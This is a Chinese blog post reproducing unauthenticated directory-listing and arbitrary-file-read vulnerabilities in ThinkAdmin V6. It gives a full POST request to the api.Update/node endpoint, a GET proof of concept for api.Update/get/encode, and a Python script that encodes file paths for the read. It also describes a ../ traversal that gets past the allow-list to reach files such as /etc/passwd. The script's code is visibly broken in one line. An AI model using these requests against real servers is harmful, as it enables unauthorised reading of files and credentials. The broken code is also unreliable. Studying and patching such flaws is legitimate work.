• ThinkAdminV6未授权列目录、任意文件读取漏洞复现


    ThinkAdminV6漏洞复现

    一、简介

    ThinkAdmin是基于 ThinkPHP 的微信后台管理平台

    二、漏洞影响版本

    ThinkAdminV6

    三、漏洞复现

    未授权列目录:

    POC:

    POST /admin.html?s=admin/api.Update/node HTTP/1.1
    Host: xxx.xxx.xxx.xxx
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 22
    
    rules=%5B%22.%2F%22%5D

    1、目录遍历注意POST数据包rules参数值需要URL编码

    任意文件读取:

    ThinkAdmin V6.0  <=2020.08.03.01

    判断版本

    POC:

     /admin.html?s=admin/api.Update/get/encode/xxx

    文件加密脚本

    import requests,json,base64,sys
    
    def baseN(num, b):
      return ((num == 0) and "0") or 
         (baseN(num // b, b).lstrip("0") + "0123456789abcdefghijklmnopqrstuvwxyz"[num % b])
    
    def poc(url):
        while 1:
            s = input("请输入需要读取的文件路径:").encode('utf-8')
    
            if str(s) == "b'exit'":
                sys.exit(0)
    
            try:
                poc =""
                for i in s:
                    poc += baseN(i,36)
    
                print(poc)
            except:
                pass
    
    if __name__ == "__main__":
        if len(sys.argv) == 2:
            poc(sys.argv[1])
        else:
            print("""
     _____ _     _       _     ___      _           _       
    |_   _| |   (_)     | |   / _     | |         (_)      
      | | | |__  _ _ __ | | _/ /_  __| |_ __ ___  _ _ __  
      | | | '_ | | '_ | |/ /  _  |/ _` | '_ ` _ | | '_  
      | | | | | | | | | |   <| | | | (_| | | | | | | | | | |
      \_/ |_| |_|_|_| |_|_|\_\_| |_/\__,_|_| |_| |_|_|_| |_| v6
                                                            
    By: yuyan-sec 	 [ThinkAdmin v6 任意文件读取]
    Usage: python poc.py [URL]
        python poc.py http://127.0.0.1
                """)

    1、首先通过加密脚本或者文件加密之后的一串字符

    2、构造访问,成功读取/app/admin/controller/Config.php文件,显示的是经过base64加密之后的字符串,需要进行base64解密

    3、尝试直接读取别的文件,/app/data/data.sql、/etc/passwd,直接读取不行,因为

    有一个允许的列表:

    config

    public/static

    public/router.php

    public/index.php
    app/admin

    app/wechat

    但是可以通过../进行目录穿越进行绕过

    ----------------------------------------------------------------------------------------------

    参考:https://github.com/zoujingli/ThinkAdmin/issues/244

    https://github.com/yuyan-sec/goTools/tree/master/ThinkAdmin




  • 相关阅读:
    StrToInt && StrToHex && IntToString && 编辑框格式 .
    DAO简介(MFC) .
    RedrawWindow, UpdateWindow,InvalidateRect 用法
    在MFC中获取窗口\视图句柄 &获取当前活动的CView .
    DAO在MFC中的应用实例 .
    捕获异常 .
    ubuntu下chm和PDF阅读器 « 小居
    QQ登陆功能的实现2 rolends1986 博客园
    【原创】说说JSON和JSONP,也许你会豁然开朗,含jQuery用例 随它去吧 博客园
    PDF Ubuntu中文
  • 原文地址:https://www.cnblogs.com/yuzly/p/13689862.html
Copyright © 2020-2023  润新知